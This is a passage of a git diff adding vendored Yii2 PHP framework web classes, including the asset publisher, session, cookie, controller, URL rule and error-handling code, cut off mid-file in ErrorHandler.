publishing a directory. + * The following options are supported: + * + * - beforeCopy: callback, a PHP callback that is called before copying each sub-directory or file. + * This overrides [[beforeCopy]] if set. + * - afterCopy: callback, a PHP callback that is called after a sub-directory or file is successfully copied. + * This overrides [[afterCopy]] if set. + * - forceCopy: boolean, whether the directory being published should be copied even if + * it is found in the target directory. This option is used only when publishing a directory. + * This overrides [[forceCopy]] if set. + * + * @return array the path directory and the URL that the asset is published as. + * @throws InvalidParamException if the asset to be published does not exist. + */ + protected function publishDirectory($src, $options) + { + $dir = $this->hash($src . filemtime($src)); + $dstDir = $this->basePath . DIRECTORY_SEPARATOR . $dir; + if ($this->linkAssets) { + if (!is_dir($dstDir)) { + symlink($src, $dstDir); + } + } elseif (!is_dir($dstDir) || !empty($options['forceCopy']) || (!isset($options['forceCopy']) && $this->forceCopy)) { + $opts = [ + 'dirMode' => $this->dirMode, + 'fileMode' => $this->fileMode, + ]; + if (isset($options['beforeCopy'])) { + $opts['beforeCopy'] = $options['beforeCopy']; + } elseif ($this->beforeCopy !== null) { + $opts['beforeCopy'] = $this->beforeCopy; + } else { + $opts['beforeCopy'] = function ($from, $to) { + return strncmp(basename($from), '.', 1) !== 0; + }; + } + if (isset($options['afterCopy'])) { + $opts['afterCopy'] = $options['afterCopy']; + } elseif ($this->afterCopy !== null) { + $opts['afterCopy'] = $this->afterCopy; + } + FileHelper::copyDirectory($src, $dstDir, $opts); + } + + return [$dstDir, $this->baseUrl . '/' . $dir]; + } + + /** + * Returns the published path of a file path. + * This method does not perform any publishing. It merely tells you + * if the file or directory is published, where it will go. + * @param string $path directory or file path being published + * @return string the published file path. False if the file or directory does not exist + */ + public function getPublishedPath($path) + { + $path = Yii::getAlias($path); + + if (isset($this->_published[$path])) { + return $this->_published[$path][0]; + } + if (is_string($path) && ($path = realpath($path)) !== false) { + $base = $this->basePath . DIRECTORY_SEPARATOR; + if (is_file($path)) { + return $base . $this->hash(dirname($path) . filemtime($path)) . DIRECTORY_SEPARATOR . basename($path); + } else { + return $base . $this->hash($path . filemtime($path)); + } + } else { + return false; + } + } + + /** + * Returns the URL of a published file path. + * This method does not perform any publishing. It merely tells you + * if the file path is published, what the URL will be to access it. + * @param string $path directory or file path being published + * @return string the published URL for the file or directory. False if the file or directory does not exist. + */ + public function getPublishedUrl($path) + { + $path = Yii::getAlias($path); + + if (isset($this->_published[$path])) { + return $this->_published[$path][1]; + } + if (is_string($path) && ($path = realpath($path)) !== false) { + if (is_file($path)) { + return $this->baseUrl . '/' . $this->hash(dirname($path) . filemtime($path)) . '/' . basename($path); + } else { + return $this->baseUrl . '/' . $this->hash($path . filemtime($path)); + } + } else { + return false; + } + } + + /** + * Generate a CRC32 hash for the directory path. Collisions are higher + * than MD5 but generates a much smaller hash string. + * @param string $path string to be hashed. + * @return string hashed string. + */ + protected function hash($path) + { + return sprintf('%x', crc32($path . Yii::getVersion())); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/BadRequestHttpException.php b/php/yii2/basic/vendor/yiisoft/yii2/web/BadRequestHttpException.php new file mode 100644 index 00000000..e510c442 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/BadRequestHttpException.php @@ -0,0 +1,34 @@ + + * @since 2.0 + */ +class BadRequestHttpException extends HttpException +{ + /** + * Constructor. + * @param string $message error message + * @param integer $code error code + * @param \Exception $previous The previous exception used for the exception chaining. + */ + public function __construct($message = null, $code = 0, \Exception $previous = null) + { + parent::__construct(400, $message, $code, $previous); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/CacheSession.php b/php/yii2/basic/vendor/yiisoft/yii2/web/CacheSession.php new file mode 100644 index 00000000..00ebae7f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/CacheSession.php @@ -0,0 +1,115 @@ + [ + * 'class' => 'yii\web\CacheSession', + * // 'cache' => 'mycache', + * ] + * ~~~ + * + * @property boolean $useCustomStorage Whether to use custom storage. This property is read-only. + * + * @author Qiang Xue + * @since 2.0 + */ +class CacheSession extends Session +{ + /** + * @var Cache|string the cache object or the application component ID of the cache object. + * The session data will be stored using this cache object. + * + * After the CacheSession object is created, if you want to change this property, + * you should only assign it with a cache object. + */ + public $cache = 'cache'; + + + /** + * Initializes the application component. + */ + public function init() + { + parent::init(); + $this->cache = Instance::ensure($this->cache, Cache::className()); + } + + /** + * Returns a value indicating whether to use custom session storage. + * This method overrides the parent implementation and always returns true. + * @return boolean whether to use custom storage. + */ + public function getUseCustomStorage() + { + return true; + } + + /** + * Session read handler. + * Do not call this method directly. + * @param string $id session ID + * @return string the session data + */ + public function readSession($id) + { + $data = $this->cache->get($this->calculateKey($id)); + + return $data === false ? '' : $data; + } + + /** + * Session write handler. + * Do not call this method directly. + * @param string $id session ID + * @param string $data session data + * @return boolean whether session write is successful + */ + public function writeSession($id, $data) + { + return $this->cache->set($this->calculateKey($id), $data, $this->getTimeout()); + } + + /** + * Session destroy handler. + * Do not call this method directly. + * @param string $id session ID + * @return boolean whether session is destroyed successfully + */ + public function destroySession($id) + { + return $this->cache->delete($this->calculateKey($id)); + } + + /** + * Generates a unique key used for storing session data in cache. + * @param string $id session variable name + * @return mixed a safe cache key associated with the session variable name + */ + protected function calculateKey($id) + { + return [__CLASS__, $id]; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/CompositeUrlRule.php b/php/yii2/basic/vendor/yiisoft/yii2/web/CompositeUrlRule.php new file mode 100644 index 00000000..997a0ae7 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/CompositeUrlRule.php @@ -0,0 +1,74 @@ + + * @since 2.0 + */ +abstract class CompositeUrlRule extends Object implements UrlRuleInterface +{ + /** + * @var UrlRuleInterface[] the URL rules contained in this composite rule. + * This property is set in [[init()]] by the return value of [[createRules()]]. + */ + protected $rules = []; + + + /** + * Creates the URL rules that should be contained within this composite rule. + * @return UrlRuleInterface[] the URL rules + */ + abstract protected function createRules(); + + /** + * @inheritdoc + */ + public function init() + { + parent::init(); + $this->rules = $this->createRules(); + } + + /** + * @inheritdoc + */ + public function parseRequest($manager, $request) + { + foreach ($this->rules as $rule) { + /* @var $rule \yii\web\UrlRule */ + if (($result = $rule->parseRequest($manager, $request)) !== false) { + Yii::trace("Request parsed with URL rule: {$rule->name}", __METHOD__); + + return $result; + } + } + + return false; + } + + /** + * @inheritdoc + */ + public function createUrl($manager, $route, $params) + { + foreach ($this->rules as $rule) { + /* @var $rule \yii\web\UrlRule */ + if (($url = $rule->createUrl($manager, $route, $params)) !== false) { + return $url; + } + } + + return false; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/ConflictHttpException.php b/php/yii2/basic/vendor/yiisoft/yii2/web/ConflictHttpException.php new file mode 100644 index 00000000..be3b7e59 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/ConflictHttpException.php @@ -0,0 +1,29 @@ + + * @since 2.0 + */ +class ConflictHttpException extends HttpException +{ + /** + * Constructor. + * @param string $message error message + * @param integer $code error code + * @param \Exception $previous The previous exception used for the exception chaining. + */ + public function __construct($message = null, $code = 0, \Exception $previous = null) + { + parent::__construct(409, $message, $code, $previous); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/Controller.php b/php/yii2/basic/vendor/yiisoft/yii2/web/Controller.php new file mode 100644 index 00000000..24df5b61 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/Controller.php @@ -0,0 +1,208 @@ + + * @since 2.0 + */ +class Controller extends \yii\base\Controller +{ + /** + * @var boolean whether to enable CSRF validation for the actions in this controller. + * CSRF validation is enabled only when both this property and [[Request::enableCsrfValidation]] are true. + */ + public $enableCsrfValidation = true; + /** + * @var array the parameters bound to the current action. + */ + public $actionParams = []; + + + /** + * Renders a view in response to an AJAX request. + * + * This method is similar to [[renderPartial()]] except that it will inject into + * the rendering result with JS/CSS scripts and files which are registered with the view. + * For this reason, you should use this method instead of [[renderPartial()]] to render + * a view to respond to an AJAX request. + * + * @param string $view the view name. Please refer to [[render()]] on how to specify a view name. + * @param array $params the parameters (name-value pairs) that should be made available in the view. + * @return string the rendering result. + */ + public function renderAjax($view, $params = []) + { + return $this->getView()->renderAjax($view, $params, $this); + } + + /** + * Binds the parameters to the action. + * This method is invoked by [[\yii\base\Action]] when it begins to run with the given parameters. + * This method will check the parameter names that the action requires and return + * the provided parameters according to the requirement. If there is any missing parameter, + * an exception will be thrown. + * @param \yii\base\Action $action the action to be bound with parameters + * @param array $params the parameters to be bound to the action + * @return array the valid parameters that the action can run with. + * @throws HttpException if there are missing or invalid parameters. + */ + public function bindActionParams($action, $params) + { + if ($action instanceof InlineAction) { + $method = new \ReflectionMethod($this, $action->actionMethod); + } else { + $method = new \ReflectionMethod($action, 'run'); + } + + $args = []; + $missing = []; + $actionParams = []; + foreach ($method->getParameters() as $param) { + $name = $param->getName(); + if (array_key_exists($name, $params)) { + if ($param->isArray()) { + $args[] = $actionParams[$name] = is_array($params[$name]) ? $params[$name] : [$params[$name]]; + } elseif (!is_array($params[$name])) { + $args[] = $actionParams[$name] = $params[$name]; + } else { + throw new BadRequestHttpException(Yii::t('yii', 'Invalid data received for parameter "{param}".', [ + 'param' => $name, + ])); + } + unset($params[$name]); + } elseif ($param->isDefaultValueAvailable()) { + $args[] = $actionParams[$name] = $param->getDefaultValue(); + } else { + $missing[] = $name; + } + } + + if (!empty($missing)) { + throw new BadRequestHttpException(Yii::t('yii', 'Missing required parameters: {params}', [ + 'params' => implode(', ', $missing), + ])); + } + + $this->actionParams = $actionParams; + + return $args; + } + + /** + * @inheritdoc + */ + public function beforeAction($action) + { + if (parent::beforeAction($action)) { + if ($this->enableCsrfValidation && Yii::$app->getErrorHandler()->exception === null && !Yii::$app->getRequest()->validateCsrfToken()) { + throw new BadRequestHttpException(Yii::t('yii', 'Unable to verify your data submission.')); + } + return true; + } else { + return false; + } + } + + /** + * Redirects the browser to the specified URL. + * This method is a shortcut to [[Response::redirect()]]. + * + * You can use it in an action by returning the [[Response]] directly: + * + * ```php + * // stop executing this action and redirect to login page + * return $this->redirect(['login']); + * ``` + * + * @param string|array $url the URL to be redirected to. This can be in one of the following formats: + * + * - a string representing a URL (e.g. "http://example.com") + * - a string representing a URL alias (e.g. "@example.com") + * - an array in the format of `[$route, ...name-value pairs...]` (e.g. `['site/index', 'ref' => 1]`) + * [[Url::to()]] will be used to convert the array into a URL. + * + * Any relative URL will be converted into an absolute one by prepending it with the host info + * of the current request. + * + * @param integer $statusCode the HTTP status code. Defaults to 302. + * See + * for details about HTTP status code + * @return Response the current response object + */ + public function redirect($url, $statusCode = 302) + { + return Yii::$app->getResponse()->redirect(Url::to($url), $statusCode); + } + + /** + * Redirects the browser to the home page. + * + * You can use this method in an action by returning the [[Response]] directly: + * + * ```php + * // stop executing this action and redirect to home page + * return $this->goHome(); + * ``` + * + * @return Response the current response object + */ + public function goHome() + { + return Yii::$app->getResponse()->redirect(Yii::$app->getHomeUrl()); + } + + /** + * Redirects the browser to the last visited page. + * + * You can use this method in an action by returning the [[Response]] directly: + * + * ```php + * // stop executing this action and redirect to last visited page + * return $this->goBack(); + * ``` + * + * For this function to work you have to [[User::setReturnUrl()|set the return URL]] in appropriate places before. + * + * @param string|array $defaultUrl the default return URL in case it was not set previously. + * If this is null and the return URL was not set previously, [[Application::homeUrl]] will be redirected to. + * Please refer to [[User::setReturnUrl()]] on accepted format of the URL. + * @return Response the current response object + * @see User::getReturnUrl() + */ + public function goBack($defaultUrl = null) + { + return Yii::$app->getResponse()->redirect(Yii::$app->getUser()->getReturnUrl($defaultUrl)); + } + + /** + * Refreshes the current page. + * This method is a shortcut to [[Response::refresh()]]. + * + * You can use it in an action by returning the [[Response]] directly: + * + * ```php + * // stop executing this action and refresh the current page + * return $this->refresh(); + * ``` + * + * @param string $anchor the anchor that should be appended to the redirection URL. + * Defaults to empty. Make sure the anchor starts with '#' if you want to specify it. + * @return Response the response object itself + */ + public function refresh($anchor = '') + { + return Yii::$app->getResponse()->redirect(Yii::$app->getRequest()->getUrl() . $anchor); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/Cookie.php b/php/yii2/basic/vendor/yiisoft/yii2/web/Cookie.php new file mode 100644 index 00000000..924eb021 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/Cookie.php @@ -0,0 +1,66 @@ + + * @since 2.0 + */ +class Cookie extends \yii\base\Object +{ + /** + * @var string name of the cookie + */ + public $name; + /** + * @var string value of the cookie + */ + public $value = ''; + /** + * @var string domain of the cookie + */ + public $domain = ''; + /** + * @var integer the timestamp at which the cookie expires. This is the server timestamp. + * Defaults to 0, meaning "until the browser is closed". + */ + public $expire = 0; + /** + * @var string the path on the server in which the cookie will be available on. The default is '/'. + */ + public $path = '/'; + /** + * @var boolean whether cookie should be sent via secure connection + */ + public $secure = false; + /** + * @var boolean whether the cookie should be accessible only through the HTTP protocol. + * By setting this property to true, the cookie will not be accessible by scripting languages, + * such as JavaScript, which can effectively help to reduce identity theft through XSS attacks. + */ + public $httpOnly = true; + + + /** + * Magic method to turn a cookie object into a string without having to explicitly access [[value]]. + * + * ~~~ + * if (isset($request->cookies['name'])) { + * $value = (string) $request->cookies['name']; + * } + * ~~~ + * + * @return string The value of the cookie. If the value property is null, an empty string will be returned. + */ + public function __toString() + { + return (string) $this->value; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/CookieCollection.php b/php/yii2/basic/vendor/yiisoft/yii2/web/CookieCollection.php new file mode 100644 index 00000000..88de86ba --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/CookieCollection.php @@ -0,0 +1,231 @@ + + * @since 2.0 + */ +class CookieCollection extends Object implements \IteratorAggregate, \ArrayAccess, \Countable +{ + /** + * @var boolean whether this collection is read only. + */ + public $readOnly = false; + + /** + * @var Cookie[] the cookies in this collection (indexed by the cookie names) + */ + private $_cookies = []; + + + /** + * Constructor. + * @param array $cookies the cookies that this collection initially contains. This should be + * an array of name-value pairs. + * @param array $config name-value pairs that will be used to initialize the object properties + */ + public function __construct($cookies = [], $config = []) + { + $this->_cookies = $cookies; + parent::__construct($config); + } + + /** + * Returns an iterator for traversing the cookies in the collection. + * This method is required by the SPL interface `IteratorAggregate`. + * It will be implicitly called when you use `foreach` to traverse the collection. + * @return ArrayIterator an iterator for traversing the cookies in the collection. + */ + public function getIterator() + { + return new ArrayIterator($this->_cookies); + } + + /** + * Returns the number of cookies in the collection. + * This method is required by the SPL `Countable` interface. + * It will be implicitly called when you use `count($collection)`. + * @return integer the number of cookies in the collection. + */ + public function count() + { + return $this->getCount(); + } + + /** + * Returns the number of cookies in the collection. + * @return integer the number of cookies in the collection. + */ + public function getCount() + { + return count($this->_cookies); + } + + /** + * Returns the cookie with the specified name. + * @param string $name the cookie name + * @return Cookie the cookie with the specified name. Null if the named cookie does not exist. + * @see getValue() + */ + public function get($name) + { + return isset($this->_cookies[$name]) ? $this->_cookies[$name] : null; + } + + /** + * Returns the value of the named cookie. + * @param string $name the cookie name + * @param mixed $defaultValue the value that should be returned when the named cookie does not exist. + * @return mixed the value of the named cookie. + * @see get() + */ + public function getValue($name, $defaultValue = null) + { + return isset($this->_cookies[$name]) ? $this->_cookies[$name]->value : $defaultValue; + } + + /** + * Returns whether there is a cookie with the specified name. + * Note that if a cookie is marked for deletion from browser, this method will return false. + * @param string $name the cookie name + * @return boolean whether the named cookie exists + * @see remove() + */ + public function has($name) + { + return isset($this->_cookies[$name]) && $this->_cookies[$name]->value !== '' + && ($this->_cookies[$name]->expire === null || $this->_cookies[$name]->expire >= time()); + } + + /** + * Adds a cookie to the collection. + * If there is already a cookie with the same name in the collection, it will be removed first. + * @param Cookie $cookie the cookie to be added + * @throws InvalidCallException if the cookie collection is read only + */ + public function add($cookie) + { + if ($this->readOnly) { + throw new InvalidCallException('The cookie collection is read only.'); + } + $this->_cookies[$cookie->name] = $cookie; + } + + /** + * Removes a cookie. + * If `$removeFromBrowser` is true, the cookie will be removed from the browser. + * In this case, a cookie with outdated expiry will be added to the collection. + * @param Cookie|string $cookie the cookie object or the name of the cookie to be removed. + * @param boolean $removeFromBrowser whether to remove the cookie from browser + * @throws InvalidCallException if the cookie collection is read only + */ + public function remove($cookie, $removeFromBrowser = true) + { + if ($this->readOnly) { + throw new InvalidCallException('The cookie collection is read only.'); + } + if ($cookie instanceof Cookie) { + $cookie->expire = 1; + $cookie->value = ''; + } else { + $cookie = new Cookie([ + 'name' => $cookie, + 'expire' => 1, + ]); + } + if ($removeFromBrowser) { + $this->_cookies[$cookie->name] = $cookie; + } else { + unset($this->_cookies[$cookie->name]); + } + } + + /** + * Removes all cookies. + * @throws InvalidCallException if the cookie collection is read only + */ + public function removeAll() + { + if ($this->readOnly) { + throw new InvalidCallException('The cookie collection is read only.'); + } + $this->_cookies = []; + } + + /** + * Returns the collection as a PHP array. + * @return array the array representation of the collection. + * The array keys are cookie names, and the array values are the corresponding cookie objects. + */ + public function toArray() + { + return $this->_cookies; + } + + /** + * Returns whether there is a cookie with the specified name. + * This method is required by the SPL interface `ArrayAccess`. + * It is implicitly called when you use something like `isset($collection[$name])`. + * @param string $name the cookie name + * @return boolean whether the named cookie exists + */ + public function offsetExists($name) + { + return $this->has($name); + } + + /** + * Returns the cookie with the specified name. + * This method is required by the SPL interface `ArrayAccess`. + * It is implicitly called when you use something like `$cookie = $collection[$name];`. + * This is equivalent to [[get()]]. + * @param string $name the cookie name + * @return Cookie the cookie with the specified name, null if the named cookie does not exist. + */ + public function offsetGet($name) + { + return $this->get($name); + } + + /** + * Adds the cookie to the collection. + * This method is required by the SPL interface `ArrayAccess`. + * It is implicitly called when you use something like `$collection[$name] = $cookie;`. + * This is equivalent to [[add()]]. + * @param string $name the cookie name + * @param Cookie $cookie the cookie to be added + */ + public function offsetSet($name, $cookie) + { + $this->add($cookie); + } + + /** + * Removes the named cookie. + * This method is required by the SPL interface `ArrayAccess`. + * It is implicitly called when you use something like `unset($collection[$name])`. + * This is equivalent to [[remove()]]. + * @param string $name the cookie name + */ + public function offsetUnset($name) + { + $this->remove($name); + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/DbSession.php b/php/yii2/basic/vendor/yiisoft/yii2/web/DbSession.php new file mode 100644 index 00000000..3ab6082e --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/DbSession.php @@ -0,0 +1,230 @@ + [ + * 'class' => 'yii\web\DbSession', + * // 'db' => 'mydb', + * // 'sessionTable' => 'my_session', + * ] + * ~~~ + * + * @property boolean $useCustomStorage Whether to use custom storage. This property is read-only. + * + * @author Qiang Xue + * @since 2.0 + */ +class DbSession extends Session +{ + /** + * @var Connection|string the DB connection object or the application component ID of the DB connection. + * After the DbSession object is created, if you want to change this property, you should only assign it + * with a DB connection object. + */ + public $db = 'db'; + /** + * @var string the name of the DB table that stores the session data. + * The table should be pre-created as follows: + * + * ~~~ + * CREATE TABLE session + * ( + * id CHAR(40) NOT NULL PRIMARY KEY, + * expire INTEGER, + * data BLOB + * ) + * ~~~ + * + * where 'BLOB' refers to the BLOB-type of your preferred DBMS. Below are the BLOB type + * that can be used for some popular DBMS: + * + * - MySQL: LONGBLOB + * - PostgreSQL: BYTEA + * - MSSQL: BLOB + * + * When using DbSession in a production server, we recommend you create a DB index for the 'expire' + * column in the session table to improve the performance. + * + * Note that according to the php.ini setting of `session.hash_function`, you may need to adjust + * the length of the `id` column. For example, if `session.hash_function=sha256`, you should use + * length 64 instead of 40. + */ + public $sessionTable = '{{%session}}'; + + + /** + * Initializes the DbSession component. + * This method will initialize the [[db]] property to make sure it refers to a valid DB connection. + * @throws InvalidConfigException if [[db]] is invalid. + */ + public function init() + { + parent::init(); + $this->db = Instance::ensure($this->db, Connection::className()); + } + + /** + * Returns a value indicating whether to use custom session storage. + * This method overrides the parent implementation and always returns true. + * @return boolean whether to use custom storage. + */ + public function getUseCustomStorage() + { + return true; + } + + /** + * Updates the current session ID with a newly generated one . + * Please refer to for more details. + * @param boolean $deleteOldSession Whether to delete the old associated session file or not. + */ + public function regenerateID($deleteOldSession = false) + { + $oldID = session_id(); + + // if no session is started, there is nothing to regenerate + if (empty($oldID)) { + return; + } + + parent::regenerateID(false); + $newID = session_id(); + + $query = new Query; + $row = $query->from($this->sessionTable) + ->where(['id' => $oldID]) + ->createCommand($this->db) + ->queryOne(); + if ($row !== false) { + if ($deleteOldSession) { + $this->db->createCommand() + ->update($this->sessionTable, ['id' => $newID], ['id' => $oldID]) + ->execute(); + } else { + $row['id'] = $newID; + $this->db->createCommand() + ->insert($this->sessionTable, $row) + ->execute(); + } + } else { + // shouldn't reach here normally + $this->db->createCommand() + ->insert($this->sessionTable, [ + 'id' => $newID, + 'expire' => time() + $this->getTimeout(), + ])->execute(); + } + } + + /** + * Session read handler. + * Do not call this method directly. + * @param string $id session ID + * @return string the session data + */ + public function readSession($id) + { + $query = new Query; + $data = $query->select(['data']) + ->from($this->sessionTable) + ->where('[[expire]]>:expire AND [[id]]=:id', [':expire' => time(), ':id' => $id]) + ->createCommand($this->db) + ->queryScalar(); + + return $data === false ? '' : $data; + } + + /** + * Session write handler. + * Do not call this method directly. + * @param string $id session ID + * @param string $data session data + * @return boolean whether session write is successful + */ + public function writeSession($id, $data) + { + // exception must be caught in session write handler + // http://us.php.net/manual/en/function.session-set-save-handler.php + try { + $expire = time() + $this->getTimeout(); + $query = new Query; + $exists = $query->select(['id']) + ->from($this->sessionTable) + ->where(['id' => $id]) + ->createCommand($this->db) + ->queryScalar(); + if ($exists === false) { + $this->db->createCommand() + ->insert($this->sessionTable, [ + 'id' => $id, + 'data' => $data, + 'expire' => $expire, + ])->execute(); + } else { + $this->db->createCommand() + ->update($this->sessionTable, ['data' => $data, 'expire' => $expire], ['id' => $id]) + ->execute(); + } + } catch (\Exception $e) { + $exception = ErrorHandler::convertExceptionToString($e); + // its too late to use Yii logging here + error_log($exception); + echo $exception; + + return false; + } + + return true; + } + + /** + * Session destroy handler. + * Do not call this method directly. + * @param string $id session ID + * @return boolean whether session is destroyed successfully + */ + public function destroySession($id) + { + $this->db->createCommand() + ->delete($this->sessionTable, ['id' => $id]) + ->execute(); + + return true; + } + + /** + * Session GC (garbage collection) handler. + * Do not call this method directly. + * @param integer $maxLifetime the number of seconds after which data will be seen as 'garbage' and cleaned up. + * @return boolean whether session is GCed successfully + */ + public function gcSession($maxLifetime) + { + $this->db->createCommand() + ->delete($this->sessionTable, '[[expire]]<:expire', [':expire' => time()]) + ->execute(); + + return true; + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/ErrorAction.php b/php/yii2/basic/vendor/yiisoft/yii2/web/ErrorAction.php new file mode 100644 index 00000000..46d5543f --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/ErrorAction.php @@ -0,0 +1,111 @@ + ['class' => 'yii\web\ErrorAction'], + * ]; + * } + * ``` + * + * Then, create a view file for this action. If the route of your error action is `site/error`, then + * the view file should be `views/site/error.php`. In this view file, the following variables are available: + * + * - `$name`: the error name + * - `$message`: the error message + * - `$exception`: the exception being handled + * + * Finally, configure the "errorHandler" application component as follows, + * + * ```php + * 'errorHandler' => [ + * 'errorAction' => 'site/error', + * ] + * ``` + * + * @author Qiang Xue + * @since 2.0 + */ +class ErrorAction extends Action +{ + /** + * @var string the view file to be rendered. If not set, it will take the value of [[id]]. + * That means, if you name the action as "error" in "SiteController", then the view name + * would be "error", and the corresponding view file would be "views/site/error.php". + */ + public $view; + /** + * @var string the name of the error when the exception name cannot be determined. + * Defaults to "Error". + */ + public $defaultName; + /** + * @var string the message to be displayed when the exception message contains sensitive information. + * Defaults to "An internal server error occurred.". + */ + public $defaultMessage; + + + /** + * Runs the action + * + * @return string result content + */ + public function run() + { + if (($exception = Yii::$app->getErrorHandler()->exception) === null) { + return ''; + } + + if ($exception instanceof HttpException) { + $code = $exception->statusCode; + } else { + $code = $exception->getCode(); + } + if ($exception instanceof Exception) { + $name = $exception->getName(); + } else { + $name = $this->defaultName ?: Yii::t('yii', 'Error'); + } + if ($code) { + $name .= " (#$code)"; + } + + if ($exception instanceof UserException) { + $message = $exception->getMessage(); + } else { + $message = $this->defaultMessage ?: Yii::t('yii', 'An internal server error occurred.'); + } + + if (Yii::$app->getRequest()->getIsAjax()) { + return "$name: $message"; + } else { + return $this->controller->render($this->view ?: $this->id, [ + 'name' => $name, + 'message' => $message, + 'exception' => $exception, + ]); + } + } +} diff --git a/php/yii2/basic/vendor/yiisoft/yii2/web/ErrorHandler.php b/php/yii2/basic/vendor/yiisoft/yii2/web/ErrorHandler.php new file mode 100644 index 00000000..5dd19ee9 --- /dev/null +++ b/php/yii2/basic/vendor/yiisoft/yii2/web/ErrorHandler.php @@ -0,0 +1,406 @@ +errorHandler`. + * + * @author Qiang Xue + * @author Timur Ruziev + * @since 2.0 + */ +class ErrorHandler extends \yii\base\ErrorHandler +{ + /** + * @var integer maximum number of source code lines to be displayed. Defaults to 19. + */ + public $maxSourceLines = 19; + /** + * @var integer maximum number of trace source code lines to be displayed. Defaults to 13. + */ + public $maxTraceSourceLines = 13; + /** + * @var string the route (e.g. 'site/error') to the controller action that will be used + * to display external errors. Inside the action, it can retrieve the error information + * using `Yii::$app->errorHandler->exception. This property defaults to null, meaning ErrorHandler + * will handle the error display. + */ + public $errorAction; + /** + * @var string the path of the view file for rendering exceptions without call stack information. + */ + public $errorView = '@yii/views/errorHandler/error.php'; + /** + * @var string the path of the view file for rendering exceptions. + */ + public $exceptionView = '@yii/views/errorHandler/exception.php'; + /** + * @var string the path of the view file for rendering exceptions and errors call stack element. + */ + public $callStackItemView = '@yii/views/errorHandler/callStackItem.php'; + /** + * @var string the path of the view file for rendering previous exceptions. + */ + public $previousExceptionView = '@yii/views/errorHandler/previousException.php'; + + + /** + * Renders the exception. + * @param \Exception $exception the exception to be rendered. + */ + protected function renderException($exception) + { + if (Yii::$app->has('response')) { + $response = Yii::$app->getResponse(); + } else { + $response = new Response(); + } + + $useErrorView = $response->format === Response::FORMAT_HTML && (!YII_DEBUG || $exception instanceof UserException); + + if ($useErrorView && $this->errorAction !== null) { + $result = Yii::$app->runAction($this->errorAction); + if ($result instanceof Response) { + $response = $result; + } else { + $response->data = $result; + } + } elseif ($response->format === Response::FORMAT_HTML) { + if (isset($_SERVER['HTTP_X_REQUESTED_WITH']) && $_SERVER['HTTP_X_REQUESTED_WITH'] === 'XMLHttpRequest' || YII_ENV_TEST) { + // AJAX request + $response->data = '
              ' . $this->htmlEncode($this->convertExceptionToString($exception)) . '
              '; + } else { + // if there is an error during error rendering it's useful to + // display PHP error in debug mode instead of a blank screen + if (YII_DEBUG) { + ini_set('display_errors', 1); + } + $file = $useErrorView ? $this->errorView : $this->exceptionView; + $response->data = $this->renderFile($file, [ + 'exception' => $exception, + ]); + } + } else { + $response->data = $this->convertExceptionToArray($exception); + } + + if ($exception instanceof HttpException) { + $response->setStatusCode($exception->statusCode); + } else { + $response->setStatusCode(500); + } + + $response->send(); + } + + /** + * Converts an exception into an array. + * @param \Exception $exception the exception being converted + * @return array the array representation of the exception. + */ + protected function convertExceptionToArray($exception) + { + if (!YII_DEBUG && !$exception instanceof UserException && !$exception instanceof HttpException) { + $exception = new HttpException(500, 'There was an error at the server.'); + } + + $array = [ + 'name' => ($exception instanceof Exception || $exception instanceof ErrorException) ? $exception->getName() : 'Exception', + 'message' => $exception->getMessage(), + 'code' => $exception->getCode(), + ]; + if ($exception instanceof HttpException) { + $array['status'] = $exception->statusCode; + } + if (YII_DEBUG) { + $array['type'] = get_class($exception); + if (!$exception instanceof UserException) { + $array['file'] = $exception->getFile(); + $array['line'] = $exception->getLine(); + $array['stack-trace'] = explode("\n", $exception->getTraceAsString()); + if ($exception instanceof \yii\db\Exception) { + $array['error-info'] = $exception->errorInfo; + } + } + } + if (($prev = $exception->getPrevious()) !== null) { + $array['previous'] = $this->convertExceptionToArray($prev); + } + + return $array; + } + + /** + * Converts special characters to HTML entities. + * @param string $text to encode. + * @return string encoded original text. + */ + public function htmlEncode($text) + { + return htmlspecialchars($text, ENT_QUOTES, Yii::$app->charset); + } + + /** + * Adds informational links to the given PHP type/class. + * @param string $code type/class name to be linkified. + * @return string linkified with HTML type/class name. + */ + public function addTypeLinks($code) + { + if (preg_match('/(.*?)::([^(]+)/', $code, $matches)) { + $class = $matches[1]; + $method = $matches[2]; + $text = $this->htmlEncode($class) . '::' . $this->htmlEncode($method); + } else { + $class = $code; + $text = $this->htmlEncode($class); + } + + if (strpos($code, 'yii\\') !== 0) { + return $text; + } + + $page = $this->htmlEncode(strtolower(str_replace('\\', '-', $class))); + $url = "http://www.yiiframework.com/doc-2.0/$page.html"; + if (isset($method)) { + $url .= "#$method()-detail"; + } + + return '' . $text . ''; + } + + /** + * Renders a view file as a PHP script. + * @param string $_file_ the view file. + * @param array $_params_ the parameters (name-value pairs) that will be extracted and made available in the view file. + * @return string the rendering result + */ + public function renderFile($_file_, $_params_) + { + $_params_['handler'] = $this; + if ($this->exception instanceof ErrorException || !Yii::$app->has('view')) { + ob_start(); + ob_implicit_flush(false); + extract($_params_, EXTR_OVERWRITE); + require(Yii::getAlias($_file_)); + + return ob_get_clean(); + } else { + return Yii::$app->getView()->renderFile($_file_, $_params_, $this); + } + } + + /** + * Renders the previous exception stack for a given Exception. + * @param \Exception $exception the exception whose precursors should be rendered. + * @return string HTML content of the rendered previous exceptions. + * Empty string if there are none. + */ + public function renderPreviousExceptions($exception) + { + if (($previous = $exception->getPrevious()) !== null) { + return $this->renderFile($this->previousExceptionView, ['exception' => $previous]); + } else { + return ''; + } + } + + /** + * Renders a single call stack 